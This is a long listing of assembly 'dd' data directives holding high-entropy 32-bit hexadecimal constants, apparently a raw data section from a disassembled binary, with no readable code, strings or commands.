dd 2334003Fh, 0BD130851h, 48EE1647h, 1701700Fh, 0FB0C804Fh
dd 0A75B4Ah, 62306E9Bh, 433679F7h, 944CB700h, 0D3E58740h
dd 0D1420E18h, 8A80CB9Eh, 722E3069h, 3255B000h, 266F896Dh
dd 9C4E0FBFh, 0C9C05464h, 4DEC56A9h, 4900B371h, 995FDDEEh
dd 0A4FC98h, 0B7C450F2h, 4614049Fh, 0AE72FF26h, 0BE492C00h
dd 0BBE9F5h, 3B8E428Fh, 40B88B24h, 41486A00h, 512F1AC6h
dd 935D00AFh, 0DDD54474h, 3A00910Fh, 4BCBF915h, 0BDB70EFh
dd 0A35C1059h, 8EB419E0h, 0B153F600h, 0EE779F05h, 11B90389h
dd 6BD41D90h, 950738C8h, 1E14800h, 9CBA98F4h, 457F69h
dd 4332F1C6h, 335FC19Fh, 0A99E3D00h, 86AE18DBh, 0E8C5019Ch
dd 413670FBh, 0F723FC8Ah, 0F6DA2200h, 3252D5B2h, 69491F8Eh
dd 7FCF82Eh, 2B71CABAh, 24FA6003h, 2F1F2CC5h, 1C81BB76h
dd 40A8696Ah, 728FD0E4h, 0F23E074Eh, 706E3DA4h, 8ADA48C7h
dd 0D2605600h, 259937FCh, 0FEB90027h, 50078C42h, 9600D61Eh
dd 0C49B6EEDh, 0D63BACAh, 0F74B7AC9h, 0B0D5D011h, 0AC33D607h
dd 67F03EF5h, 5A07FEh, 62E4723h, 0E6C1310Dh, 57D4D006h
dd 338C5BCh, 5359D599h, 0B2A01E3Ah, 0FA02F103h, 2DD10BE3h
dd 6544601Bh, 0F2567C53h, 0F9EE00EAh, 0DB92E724h, 4E008233h
dd 2E573149h, 4EF815Dh, 0B82F5B66h, 0DD18C0C5h, 68F6C108h
dd 0CDFF7305h, 0BEC1C627h, 93D04679h, 0CBE2007Ah, 0D785DAF4h
dd 7301ED17h, 0AFD9C3Ch, 0EEE03090h, 4A563C8Eh, 0E69F5707h
dd 2E53E077h, 6901BF2Dh, 89157D5Eh, 0B5D005FFh, 5490C5h
dd 332D4347h, 0B0E55892h, 0EA515200h, 34B596FEh, 455F095Ah
dd 5CA7h, 8641E57Fh, 0D6655200h, 3ABF235Bh, 547D1E21h
dd 0CE4E1D1Fh, 9443A69Ah, 3DF03BCBh, 95002B11h, 0AD43D092h
dd 0DD3F0D69h, 93680011h, 8D798126h, 288B9E00h, 2B776AD2h
dd 6AD0945h, 0B3804341h, 0C30452C5h, 62941000h, 719ACB89h
dd 6FF282h, 4665193Ch, 1D01DDD9h, 4D02AF07h, 29B007F8h
dd 0A90CFBh, 69479657h, 0B7D484F4h, 19C92F00h, 0E2BD5DE3h
dd 5E970074h, 9CAAFD1h, 60070679h, 4F883480h, 2F960F30h
dd 0D78F00A2h, 0DE313A59h, 0FC07B2DAh, 9D72FE10h, 8370E810h
dd 0D01C4898h, 0DFE2FF00h, 2492FC11h, 0FD4D6C02h, 401413E1h
dd 465A60h, 2A875372h, 199B91A9h, 0F8CF6F26h, 0E20C9C00h
dd 1F4641B5h, 0C055324Dh, 8FB61579h, 430473B1h, 674809DDh
dd 6F3E6680h, 1F3BF9C6h, 0B9E8079h, 2F5C8535h, 7CDFBD00h
dd 0F9D30C9Dh, 0D4A700E5h, 4B134553h, 0D9059EC2h, 0D12FA631h
dd 0EBDE5440h, 4213DDh, 0D29B5982h, 7A328446h, 0AB0FAF0Eh
dd 24A002Eh, 3A8ED79Ah, 0BC80775Dh, 0B6E980ADh, 0E00E93E6h
dd 0DDBA3812h, 0A02AD6C0h, 235FEh, 0C6DD99F8h, 233C4D8Ah
dd 7E39F000h, 8059F954h, 73AE0030h, 9B1AF8F3h, 0BF025CBh
dd 0BB021F00h, 0FD8FCD57h, 0F43F00A8h, 561BE2C3h, 78286CD3h
dd 8628E73Ah, 4105E8B9h, 4FDD147Bh, 96769980h, 2702Ah
dd 79B81BC1h, 2C05E05Ch, 0E50E2E00h, 0D130B753h, 2876002Bh
dd 7A52A92h, 4501A3B6h, 0EBA8A093h, 0E8414DE5h, 90C87AF7h
dd 5E770FFDh, 9C277834h, 668DE037h, 9001788h, 9E8C9111h
dd 381400Ch, 973973A3h, 0B7A8F7C8h, 0CE005848h, 6AEE2A2Ch
dd 4A361Eh, 0D27B5FBEh, 0E644F48Ch, 4C76F21Ch, 5DFE4EC1h
dd 0DD20A4CAh, 0EFB8C9h, 0C623287Dh, 77031AFBh, 541D8C07h
dd 9F401165h, 2856FDD3h, 7EF8A9BBh, 99AA3B7Ah, 979A1480h
dd 62BE6DB1h, 0E0F6683Dh, 2D773A10h, 0F04A00E5h, 826118E6h
dd 1D39CA50h, 0C84480A6h, 388687B0h, 0E9C00034h, 13DBD5F8h
dd 9FF6FF07h, 845C723Ah, 32E474AFh, 0E352F8C0h, 1B0218EDh
dd 2EC41065h, 19495800h, 4D240A04h, 0AC725B39h, 1486006Fh
dd 16CC6B6Dh, 9AC5129Dh, 0C94420A5h, 0BB0039E4h, 0E66B8230h
dd 0F8E9A9C2h, 17F728C5h, 0B8230386h, 864AA3CEh, 0E4C82AF0h
dd 7B14FE72h, 1698AA0Dh, 8040BF9Ah, 1D06241Ah, 27373E77h
dd 0DAB6948Fh, 0E99E0260h, 0C01107Dh, 5849ADB9h, 80F647D3h
dd 6F849FA0h, 0ED6A0094h, 13CE7D5Ah, 64E6E7FCh, 989AA100h
dd 378041C1h, 34000AEh, 30CD69B4h, 0D7010F7Ah, 368B97A2h
dd 5021733Fh, 18B6C9F8h, 0E89C13D1h, 0C1F41B23h, 4E419000h
dd 0F3DC68ADh, 0FE0200E6h, 0CD7A1D3Ch, 0B004B17h, 92FF5F5Bh
dd 0B8DF2B40h, 0EAA600C7h, 8F7611D6h, 5902862Dh, 43622F8Eh
dd 6BFA6001h, 52BB4CF4h, 0A1BF0071h, 61B7D8D3h, 0F8007F92h
dd 0D14BD4C9h, 1C111E6Dh, 80CBA145h, 6B2615E0h, 0BAF21B28h
dd 44618F00h, 0D7AD8D84h, 0F55E3F96h, 5C971402h, 440D01Ah
dd 9A00FFF9h, 0CDF8BF12h, 3A71F3DFh, 6A058ABCh, 80198ED3h
dd 769F9D47h, 0E4BA9201h, 55950B8Ch, 77CDC40h, 0A45A01E2h
dd 799089FBh, 0C8BC40EDh, 8E3AB594h, 0BB7580E5h, 57F86120h
dd 0E671F4DBh, 0BD083760h, 0EECD3018h, 53003BCFh, 1C5EF774h
dd 117EECh, 0DE0B63BEh, 2E602758h, 0A417AC00h, 9871D15Dh
dd 0D99F1F89h, 0E26EC006h, 1B2BE713h, 2601700h, 787B7FAEh
dd 64D709D1h, 5483B450h, 0FB886232h, 0FD030F07h, 0A7261B24h
dd 880EDB69h, 2625E765h, 1740A336h, 2960017h, 8A110306h
dd 63206900h, 848380A9h, 0A53E1E96h, 0B86800AAh, 0CFC8F7C7h
dd 404A8B00h, 2749F58Dh, 0B00300BDh, 823598E6h, 2D48FB72h
dd 6FDE1468h, 80B93D80h, 2A4FE0D3h, 620E2Bh, 0A8886769h
dd 36C45AF0h, 26C120Eh, 3B956031h, 7C23044h, 472A748Eh
dd 75A11E5Bh, 446D932Ch, 5090D7A4h, 0E19BB5CFh, 8C081F00h
dd 2388A4Ah, 9F7448h, 3F451D03h, 84AC1551h, 0DF5B5F00h
dd 7A3DD92Ah, 330E008Ch, 0F6DE408Dh, 0B300548Eh, 0B4BBDA3Eh
dd 3555336h, 8468897Fh, 0B1A8A0ADh, 2E0099B8h, 0B9CB65FEh
dd 162BD429h, 7FDF718h, 305F45F7h, 0BB4694B3h, 0FA87F17h
dd 733305EFh, 83588132h, 2703C87Eh, 0CDEE1E07h, 71444C9h
dd 3FAE70C0h, 37B900DAh, 82BB6B69h, 1C38EBA0h, 0B3A800CBh
dd 0DC361843h, 542F0EDDh, 0C6807966h, 4A02F12Ah, 420D6A00h
dd 6895AFCCh, 0B386007Bh, 9D01CFD9h, 0EC00FB0Bh, 0CEE1BB6h
dd 0D09F7Eh, 0F09E1906h, 6308E866h, 5BB22D01h, 5688857h
dd 1F6CE4h, 0B975E970h, 0A198A9B7h, 7BBF4400h, 1B54CB03h
dd 0F176003Ah, 8D6D9FF5h, 49E2F4E9h, 44D0C00h, 33318363h
dd 1D4B1282h, 0E04002Ch, 0EF9659B8h, 155932FEh, 0FD3D000Ch
dd 75E6ED42h, 0A25B0077h, 0F63ABBD3h, 0BA00AA5Ah, 1CB27115h
dd 0FA85F8D2h, 52DA258Eh, 29004956h, 0C6AADC20h, 0EA644CF7h
dd 869E8100h, 309B2ECAh, 6D11E000h, 4A7E1A35h, 49400023h
dd 5E4D0417h, 0A40007BBh, 3C519A91h, 3DD0F4E8h, 6D00CD85h
dd 8AE2AAB0h, 3EE46F55h, 0EE1C7CF0h, 4900698Dh, 285C1DD9h
dd 8A090018h, 0D43129D3h, 0B0F570Ch, 4026AAB9h, 89B02C3Fh
dd 83A40B52h, 1400CA5Eh, 77F86CA8h, 16EC280Fh, 0C1E9E0C5h
dd 3966C326h, 1003D7Dh
dd 2B9A071Eh, 4C1F8239h, 0F2C06A1Ah, 0BFE1055Ah, 59CF008Ah
dd 8B5B049Eh, 66006309h, 8260AE19h, 38DA6E40h, 5F829C50h
dd 0BC6A72F1h, 3900A86Ch, 1278CF0h, 1C28F4h, 1E6FF1C5h
dd 0B545C9E8h, 80A25300h, 5271B431h, 0A8EA5C25h, 0D9674A00h
dd 7AD894F5h, 20E62B03h, 97E3967Dh, 0B0471053h, 9879BA17h
dd 76C200E4h, 0DAB7248Ch, 632E5005h, 9F814438h, 51AE2B23h
dd 7228BAh, 0CB4B0890h, 7D22A7CAh, 0B5B7FCC1h, 6EFC1B16h
dd 49990748h, 3F97DE46h, 0AA0E08C0h, 0C48C531h, 0BE077FF7h
dd 0EAA29347h, 9EC94CE0h, 392274E8h, 3D0046B7h, 0E6DC5BD5h
dd 800107ADh, 6512F026h, 0CAF8F939h, 0EFB5056Eh, 28DE8Ch
dd 87B23EC7h, 0D51EFB65h, 0CF801B73h, 104A861h, 0F26000BCh
dd 3949A3F3h, 2616F1D5h, 8C405C0Ch, 4E7488C9h, 34096CCh
dd 6F950704h, 94980680h, 6400F77Fh, 62C53D09h, 180EACh
dd 0E04CBFF4h, 2D608FC0h, 1369BC00h, 0F21231D5h, 0A2C224B1h
dd 6E96801Ch, 0CCB3C47h, 181F724Ah, 0A600F326h, 0FEA222A8h
dd 0C1F99877h, 0C6A00E30h, 9E266172h, 0AB025011h, 802B3643h
dd 0AF0415D7h, 2F8C005Ch, 7995DEF9h, 0A4040E69h, 0FCBF7801h
dd 0C600D897h, 31A3BAB1h, 3E89BA6h, 347320B9h, 448D6900h
dd 615E46BEh, 87140EA6h, 0D1A1F5A3h, 0EB2765ACh, 0F21BA800h
dd 198F25A2h, 979D3A3Ah, 670B260Ah, 6CAE0064h, 56D1CD5Ah
dd 0E7FFC703h, 0FBC80903h, 0D09DB8DCh, 7BE661h, 96C6FAB7h
dd 9E7DDE45h, 81D21000h, 382A13EFh, 769A00B5h, 26DD410Fh
dd 0AB0093C0h, 0BAFBC785h, 24A11A3Bh, 4BD3AE7h, 0C09B4AE2h
dd 40B42BBBh, 0F81CD80Eh, 24F7805Fh, 321FAF5h, 6B9CF4ABh
dd 17B249D6h, 523AC4A0h, 400E18Bh, 38B560D7h, 69E1A6Fh
dd 0AEDB7384h, 0D617293Dh, 0F1008ABAh, 0C0489B2Dh, 0F0160FFFh
dd 91609244h, 620FB435h, 1FFD2401h, 680B9099h, 4085B721h
dd 0C0B9EF37h, 5B89CDB5h, 0D6864305h, 9847AE90h, 60E0A0A5h
dd 349797Ah, 4CADF148h, 30DFC7BCh, 0B5D144B7h, 0E8AC3Eh
dd 0F77D6D7Ch, 94D689B3h, 0CBFA0030h, 4CC5A06Fh, 94FA6AB8h
dd 970E400h, 6872336Ah, 231400ACh, 0B92AC571h, 77B0FE26h
dd 0BD500B12h, 6EC96900h, 17BF218h, 5B232751h, 30B09FCEh
dd 4628C481h, 0C100DB96h, 0D1CB3D22h, 631F6D86h, 18ADC189h
dd 9467C900h, 0E6BE4A95h, 0FE57F04Dh, 2E0600EBh, 24741269h
dd 0A0718D7Ch, 0FC027D00h, 1959728h, 77867806h, 6E9B00F5h
dd 26A29EBAh, 570EF959h, 405CBE6Dh, 9CF1FF52h, 43A0149Fh
dd 0DA22141Eh, 28940200h, 191093EFh, 0DCEE3D0Ch, 474F2301h
dd 0C4ECED7Dh, 0E300F234h, 86653111h, 1E646E48h, 41544FCFh
dd 2E5546CDh, 0EC16E1C4h, 200089C2h, 0B07C9B1Bh, 6D19EAh
dd 0A26EDC30h, 81A0E19Ah, 8F8EF207h, 0F7707892h, 0EE70841h
dd 3C18336Eh, 0ED28F0A0h, 0EA01B722h, 57E563AFh, 0F7D0CCECh
dd 260C1CEh, 0EC7CDA24h, 0B30F795Fh, 9FE73C7h, 0C0E90037h
dd 78571h, 9260A946h, 0B6530995h, 0EA4B6100h, 7F1503F6h
dd 0E8D00B1h, 0A0EE5BFAh, 47032FB7h, 3796A259h, 660000Fh
dd 141DAE15h, 5C0042A4h, 0B3C92B58h, 0E26EA353h, 0AF310030h
dd 7CFB447Fh, 7A006F0Ch, 0ED826145h, 7A61FD0h, 6BDAA7D6h
dd 0F338D3F0h, 119F9112h, 4EBE00BBh, 32B24ABDh, 6B5CA100h
dd 91E0676Eh, 5550250h, 9365033Dh, 4E107AC0h, 0E6462900h
dd 0CBEDC84Bh, 0E0B00AEh, 0A20F8AE9h, 0A9247F31h, 0AF1310ECh
dd 0A3BB01AEh, 0D1B9FD18h, 8EAAE03Dh, 0EB1E700h, 0A982E1Fh
dd 92DC078Bh, 0D02D6D53h, 9014D55Bh, 15E0F800h, 89752393h
dd 5672394Eh, 5A26D8BFh, 8D0C04DDh, 83B780D2h, 0E0063CDh
dd 0A1C273B0h, 0DB02CBh, 85361170h, 0AEDA69Eh, 4520180Fh
dd 44740066h, 39E3226Dh, 3D00C4EEh, 7C19A536h, 7100A4A7h
dd 3498E0Fh, 1501006h, 25EA7E11h, 0FC9D3590h, 9600E636h
dd 3815F40Bh, 455451h, 5906420h, 0BA9403BDh, 3CAEE617h
dd 177DC505h, 66E37A80h, 90130044h, 70C86F75h, 62264B1Fh
dd 0D11CF071h, 831882C0h, 8A46D2h, 1444D884h, 0DFF605A9h
dd 54F93100h, 9A6B5B24h, 6C1E483Bh, 0C1F4B000h, 22B4B68Eh
dd 447C5707h, 0FF404FFDh, 9C4C2Ah, 270D1472h, 1EAEB05Ah
dd 3B30AC0Eh, 7DFCC1BEh, 48BE1D31h, 1FC0B317h, 7F2480D8h
dd 36AA2B4Bh, 2CBE3200h, 0EBB988A2h, 0C51D01B8h, 355420C8h
dd 55D0F318h, 0BE029E2Fh, 0D08872ECh, 3AFC8051h, 2FC5901h
dd 573D9F18h, 64427A44h, 0B0CDF707h, 1ECA61E8h, 8AAA4Ch
dd 2330F728h, 772A6DAh, 7A06A708h, 8E17B1D3h, 1F9AC438h
dd 0F83B4800h, 4B70FBCBh, 5E9C000Dh, 0FC8995A3h, 0F4007D46h
dd 0EAC58365h, 118F061h, 2CBB0602h, 0C37FEB69h, 363A8406h
dd 9D6B12Eh, 99C5A36Fh, 0D310AD0Ch, 0B400547Dh, 0F838CF3Eh
dd 2690A255h, 6C85E4h, 8BB68867h, 0F9F3AAF2h, 665D7029h
dd 918AB407h, 28D0D28Eh, 0F5E1E6h, 0FBCA055Eh, 9ECDB623h
dd 8371A300h, 0C8192086h, 0D3E9009Ch, 456F7A5Bh, 0AD1F74E2h
dd 41D7BC1h, 1AF320Fh, 0F22324C3h, 0C4B4C0h, 6DC6147Ah
dd 79CC52FFh, 0E91DF500h, 381027Eh, 0C642D59h, 4209AD58h
dd 83EBCB86h, 0F8FB3A64h, 688E0F2h, 0C957C204h, 56099810h
dd 0A0184F33h, 439BF78h, 118F609Ah, 812C543Eh, 3B567C00h
dd 0A5ABA38Eh, 0F7830ABBh, 3AE40180h, 44B5E49Eh, 0C0A31D3Dh
dd 9B4B6D78h, 7F4C4700h, 741BACC3h, 0E769004Ah, 2DB92202h
dd 290013A1h, 39C9A607h, 0E46BBFACh, 1FD6002Eh, 5B619909h
dd 0F103B1C3h, 0CFB51992h, 5184983Bh, 4AD600CEh, 0BB7BAE9Dh
dd 10FCBBDh, 2BA84CFAh, 0A3658269h, 0CA79C063h, 0C5240005h
dd 4006233Fh, 0DF00EF64h, 0BD0461C0h, 0E93D8Ah, 0FFCC68E1h
dd 271893D2h, 33C44012h, 0D4ABD400h, 152AFE6h, 0ADCC0E5Eh
dd 0D8E3141Ch, 0B0EE3F87h, 0B3042C00h, 26864C62h, 2F310046h
dd 16859123h, 2C748CF9h, 283EE3Ch, 0C48998D8h, 71BC0045h
dd 0C07E98Eh, 8B4402C9h, 2AA8EAB0h, 142E7C74h, 0A44016AEh
dd 0ABDA12h, 4C9DF59Ch, 48007BB8h, 9F98490Bh, 354AEB5h
dd 0F5C1A922h, 35A75528h, 0C0DC5C30h, 0EB622976h, 0D41F156Ch
dd 0B0C0A1BBh, 0EFCBB230h, 2AA600AFh, 2610EE58h, 0FE006DFAh
dd 0E853F346h, 0EE75C1Ch, 2E8C6141h, 3E20642Eh, 0C4B10B36h
dd 0DA26C907h, 170F3AEh, 7F9009h, 3E5E45D9h, 0C10BD81Dh
dd 26F1B301h, 0E80C396Dh, 3C9E30h, 4A24C419h, 1B87EA02h
dd 9F7DA490h, 0EFB68404h, 94903810h, 0E0557368h, 7F3D011Ah
dd 59DF92F2h, 318ACD3Ch, 0A9D1C0D0h, 7EA6BB24h, 50AD200h
dd 141131E2h, 97464364h, 69488403h, 0F6F8B8ABh, 830041D8h
dd 0EBF3F4AAh, 12D55Ah, 5F92E6D6h, 0A74F9709h, 340E0898h
dd 0CFF5FCDDh, 8D2E40EEh, 1D9AB9Ah, 3D093BEDh, 0C02FD377h
dd 8AB0324Ah, 27A0A90Fh, 9A9F001Ch, 0F6890B15h, 882900A6h
dd 5C51808Ah, 12004885h, 9A1125D4h, 1F1791FCh, 0DD631BA6h
dd 0EB4C0077h, 428B02D1h, 0C9D71100h, 0AACA0A1Eh, 0E57D7E79h
dd 0C21F5F8h, 0E5AB15F3h, 0A300DB70h, 0DA7258D2h, 770593h
dd 0FB3E477Ch, 18F4EC2Ah, 23334800h, 5C55721Ah, 3AE4038Ch
dd 0C287F8Fh, 0F6977BB8h, 9E072D01h, 0ADBA3942h, 20E43ED0h
dd 9F3BA95Dh, 0ECEEAE2Ah
dd 90331C82h, 0CAEBC079h, 3220F9DDh, 43BA0049h, 57853012h
dd 5F000D6Bh, 1C80C123h, 0CEA9ABh, 0DE9101D9h, 10F4EA76h
dd 0B248DA01h, 90310DE9h, 461C1981h, 0F842AFBAh, 40A85FE4h
dd 10E9331Eh, 0A0799103h, 28CCC9B7h, 14ACB3h, 0FAA142A2h
dd 2163A657h, 1DFD6800h, 31F60D03h, 0E76B0056h, 4A5D9F73h
dd 0C9004E8Eh, 3F7AFF32h, 3C7C1DDh, 17E7C69Eh, 0D6E0D9E6h
dd 0B005258Dh, 0A146E0D2h, 3F308040h, 0F3B2B61h, 0AC68D316h
dd 0EAE28BA0h, 0B2011870h, 690A5C95h, 473034F8h, 0C9C218F5h
dd 5668A0F4h, 8AAFFA00h, 3B453998h, 81BB0031h, 0BA029072h
dd 7100AABDh, 7FF12A56h, 2A8CDDB8h, 0FC6F98h, 0A96DC7F0h
dd 3EA37206h, 0D52CE03h, 8815D005h, 0FAAFC92Ah, 2C2800A0h
dd 0BB75D319h, 0B21D7CCCh, 0D280F97Ah, 14410D4Eh, 0A93700EBh
dd 9968F70Ch, 71316B88h, 0E44DC028h, 3D9C1CCh, 60D23353h
dd 0C400DE3Dh, 6770EF68h, 18C8ECB0h, 989E0974h, 5C00B214h
dd 0D62332AEh, 155298DAh, 0D85367C8h, 94599A3Dh, 4DD8C900h
dd 85AEC41h, 0CBF0DC00h, 9DA7E668h, 0A0A200EDh, 16260258h
dd 5D13A8C0h, 0EA7BE9h, 0EC9CFBA8h, 0B03847Eh, 0F6DBB128h
dd 8C34A09Bh, 0DF900626h, 81AA793h, 0B6213660h, 71EA3408h
dd 0C4E0B0h, 53624530h, 9E87C8B7h, 86EE000h, 0BA523D9Dh
dd 0CB27C01h, 8123865Dh, 0D2F2F918h, 1C301761h, 7EE09195h
dd 567828CEh, 23DA2010h, 0B141E0B5h, 3014E8E1h, 0FB11F439h
dd 2A01C48Ah, 7E87C77Dh, 88CDF76h, 9A20FA8Fh, 54624917h
dd 528C5006h, 18910058h, 0C8BAA75Dh, 0C22AF6E2h, 9402283Ah
dd 777EDCC4h, 0C800168Ah, 3372625Ah, 2E786ED9h, 2427AFh
dd 6DC09E93h, 2C505587h, 1F541E90h, 0D40EDA94h, 7664B0h
dd 0EC1AD563h, 732A3CD1h, 7209ECD0h, 309D76C7h, 1250E313h
dd 1570F002h, 0F93C2300h, 0EEBF8404h, 53B0D0h, 85D3264Ah
dd 9633186Fh, 0FFA81F00h, 0AFF12E1Bh, 0AE27009Dh, 57F7C28Dh
dd 71D88A7h, 2C40E0C5h, 0F9B4FF90h, 0F8010056h, 0D696514Fh
dd 85013112h, 5802CFC3h, 5FF4B91Bh, 70A00084h, 52DC397Ah
dd 0E87D61F1h, 8FC2E200h, 389858E7h, 23730057h, 0F771AB76h
dd 8E0013BFh, 60E0FD4Bh, 66288Fh, 8B196E6Ch, 0F2ACEE56h
dd 8A49F8F1h, 600B3F8h, 7DAD7F26h, 194F6895h, 83F2856h
dd 6D21844Ch, 0A4C7A447h, 0A7535040h, 0DC4F00CBh, 8F77B254h
dd 6A00E9A8h, 0A957402Dh, 1F89DD8Ah, 9F155652h, 18B75826h
dd 50C08E45h, 0B358768h, 108860AAh, 5E538F26h, 21BF820Eh
dd 1FF8E7E4h, 863943h, 537AAB20h, 98AE24DDh, 1200CA7Ch
dd 3DF1C9BDh, 30C38EFh, 21E405EDh, 0B0605263h, 0F70F9538h
dd 0C0BEFCA3h, 78AB1368h, 5513CF19h, 0E9188054h, 0C0AC9908h
dd 77D58A20h, 7C0C663Fh, 39E3EC5Eh, 7AF40001h, 0FE690989h
dd 8C0547CAh, 0ABA8F281h, 0C0D4A408h, 95D1B11Bh, 0DF224846h
dd 0A443A100h, 8EC52C76h, 0BDEC0F39h, 0C92390C0h, 0B800033Ah
dd 473B7F81h, 4C9D73CBh, 200C2382h, 3A71A974h, 189E221h
dd 9557B119h, 88DE1818h, 0A47C42C7h, 0EC4BE800h, 6BC5493Eh
dd 3DE409h, 0EA29ACF0h, 46C825Bh, 8505EF00h, 2FBEEEF5h
dd 0FECF451h, 881B903Fh, 459B960h, 0FD019319h, 1423F0BEh
dd 7BD4F9B5h, 80810046h, 66CE863Ch, 682CAA79h, 57037A96h
dd 9046E5E0h, 0F4313Fh, 0EBD43E8Bh, 161274F3h, 1AD70900h
dd 0AB0AE3C6h, 0B49E00FEh, 39371F3Dh, 1B00A08Ah, 67993577h
dd 1E98D1h, 0FE08D823h, 388A178Bh, 2D94A000h, 985B23Ch
dd 78110055h, 0E1CA6D7h, 7700A50Fh, 1E32E522h, 71FCC5ABh
dd 8B5D03DFh, 0D4CDA0BCh, 9BC4B498h, 28152730h, 0DD1AADh
dd 21E1AE46h, 5A025B1Ch, 67A6902h, 6053ACD9h, 13486AFh
dd 855D7F04h, 0E0683FDCh, 670FE99Ch, 807EFAA8h, 0BCA7700Eh
dd 13790E88h, 6A40E5DCh, 4218FF02h, 6F86321Eh, 0FB9BAF03h
dd 0FA93C0E4h, 0F38D0F10h, 1757E5h, 99D65E0Ch, 1F075FDEh
dd 0F1DB17ECh, 0A680D3D7h, 0BFE04FFh, 703AA8F5h, 416B1900h
dd 783A60EAh, 0CCA1004Dh, 75B2BCDEh, 5AAE00F5h, 0D722D3FDh
dd 6900EDA8h, 0F06C5C66h, 36BF1D1h, 0F2EB2387h, 73D05FAAh
dd 0C10C665Ah, 10130208h, 6CC4074Eh, 0CE8B353Ch, 5A3E405Eh
dd 3B38A017h, 65D5A91Bh, 0DA3F9028h, 0A48000F1h, 2F3AF3F4h
dd 0BB007B35h, 2446D965h, 0FF259021h, 0FB1F30h, 7981B0E9h
dd 0D4EB8256h, 0AD4AAF00h, 6F8B1B47h, 0CBC80796h, 40F88748h
dd 0A7B7F949h, 0F404FD07h, 8457F07Eh, 9250BE80h, 73EF0EFFh
dd 5D008D4Fh, 287201C5h, 76222D00h, 0C98EA931h, 0DB7CF8h
dd 0C24EDF41h, 18BC62C0h, 0FBBDAA00h, 0A1AFF337h, 27DD03C3h
dd 63500FF2h, 22352000h, 2F1AF8ECh, 40170071h, 9AD58481h
dd 2502D865h, 6A9BFADBh, 17B6095h, 0D30B19DFh, 194B6817h
dd 0F4F683D6h, 0DC6030D7h, 0BA3AA269h, 62341800h, 7D519DECh
dd 0BCB700E8h, 0BE888A23h, 8D3FFBC4h, 1A05804Ch, 0DC9F34ADh
dd 8AA1C975h, 21BDCF80h, 1400DE92h, 0C6BA185h, 0FFFAC75h
dd 0CC3579EDh, 0B48E581h, 2E62F0DAh, 0E1BC51h, 0D6C95D88h
dd 6A1820C6h, 667538h, 0AB2F57FBh, 0DF0826E2h, 0D8EFC901h
dd 0AC8BF27Bh, 19A3D70h, 0D1B34173h, 0C46B9B91h, 0E2007F11h
dd 0C2151B06h, 4B174A6h, 0F34FAC23h, 77328083h, 0D00F3644h
dd 80C0EC0Fh, 1DB37384h, 0EDA20001h, 0FA684D5Dh, 6E0056E9h
dd 0F7B79143h, 3F7CA647h, 0F848A880h, 854CCD09h, 20736C00h
dd 5C00C0FAh, 359B4D10h, 0A9F529h, 721ACC83h, 907E0FCEh
dd 0FAC55F1Dh, 0B6EDAC00h, 3D3E2BBCh, 14792723h, 0F32FCFF7h
dd 7D79C80Eh, 44FF14E0h, 8C68B58h, 0F620D1C7h, 627A03A1h
dd 760DAD67h, 0D6C595F8h, 325D303h, 0C849D19Fh, 675896h
dd 1F053B54h, 1EF4BC2Bh, 5531DD03h, 0A01A9832h, 9B82FD0h
dd 0BB95E40h, 6AD4DC00h, 0A6E8845Dh, 7E205660h, 3B175E87h
dd 0EBFC4F57h, 0C3543880h, 3E2ADAA9h, 3F9D80Fh, 6C2283DCh
dd 2E53F115h, 186135F3h, 439384E0h, 0F87A9970h, 0CFEBCB9h
dd 1731C041h, 79F5A332h, 0DAD11F00h, 0E52B28C7h, 0BA450092h
dd 0D5B50E43h, 3F60E326h, 0F8603668h, 22030702h, 8733B36Fh
dd 212A1318h, 0D4A10480h, 56FE371Ch, 0BBA5EF80h, 0F9BB3ECh
dd 0F17B4B1Dh, 0A0B4F8E0h, 692E3A1Ah, 98004632h, 0E4C2F6E6h
dd 0BDC60EDBh, 0B186C7BCh, 7A002065h, 960DE68Bh, 484F93h
dd 0FA98C805h, 8CE9897Dh, 43FE84B0h, 9F0E5700h, 37E33B67h
dd 0ACE10010h, 8969E02Fh, 401792Eh, 0D51EA7Ch, 88CE8E6h
dd 29202674h, 167A5300h, 0CEC1CB42h, 629F5CF7h, 0F267AF01h
dd 0D81B693Bh, 0A326F109h, 0D1B5565h, 63C01838h, 475DC98Fh
dd 21DD2600h, 1F45CB95h, 0CFA60E30h, 2320A305h, 342CDF4Bh
dd 4B9D600h, 4001D7D2h, 8E583AE0h, 0B83CD398h, 286D95Bh
dd 7BEB792Dh, 251842C2h, 56268030h, 4F017A75h, 0A43BA801h
dd 0DEEDE310h, 0ECD95040h, 30390E22h, 87208F2Fh, 5BAE8EF3h
dd 11EF9006h, 75C9E1CAh, 4EE803F2h, 0CF10B9A2h, 1B081EE0h
dd 28849B50h, 4BFAE498h, 0A0815300h, 0EC75D7DDh, 6F0C0399h
dd 0B4E5C260h, 0AAFF7EB8h, 8A0B2C00h, 0ABED2870h, 84310093h
dd 4BE3150Dh, 5103CEBEh, 62D6B06Dh, 0B608D030h, 0D07700C0h
dd 3C390DF6h, 60E8DD03h
dd 0D4F4E000h, 0CB0A5C14h, 29DB6051h, 6D35D230h, 0FC1C8C0Ch
dd 0EE7D183Ah, 0A6506FFh, 28B50C38h, 4D449600h, 0EBF221D1h
dd 9E221DA8h, 0CA2000D5h, 0ACA906DDh, 31170430h, 1D86409Fh
dd 5E11611Eh, 3F18FBE6h, 821A18AFh, 5DA11D84h, 5E39C189h
dd 0ED962902h, 2000CF8Eh, 0B427AAD6h, 1D1D53Fh, 0B77EB50Bh
dd 0C8AEA790h, 0CDFC1B14h, 0D4DA4400h, 8D084816h, 0FE4500BFh
dd 0C42AA71Eh, 80E72250h, 0FCCF8298h, 47F0E5h, 0B02112Eh
dd 0F8D91B4Bh, 3219439h, 0CE3114F6h, 0A6E3E028h, 0B58800CDh
dd 0AB11250Ch, 0D8030D83h, 46A0E566h, 5CD2A8CCh, 0BB3518AEh
dd 6EA3304Eh, 0C70AEC07h, 6C70C173h, 7A5349CEh, 20AD6377h
dd 76B00415h, 650EB8B0h, 0E0F8426Ah, 5E4DCC3h, 0AD1C000Fh
dd 7378D1B6h, 4E1CA2BBh, 0D69B6FD5h, 2943C061h, 1ECF1EACh
dd 2F02C3BCh, 7CA39B0Bh, 35712100h, 0BC8894AEh, 687000A5h
dd 382C41CDh, 1C050EADh, 78C021B5h, 0BE602819h, 0AE044218h
dd 0D9044575h, 0F0207B32h, 41AE5Ah, 0BF83B93Dh, 1D82516Dh
dd 9600C475h, 3CA11B5Eh, 54CE313h, 0D73D7236h, 83A84E20h
dd 0A0426F80h, 0F1EA9891h, 0AD08AB65h, 2931A040h, 0FC49F70h
dd 379A39AFh, 78C186AFh, 304DE638h, 0AA03C994h, 87497B93h
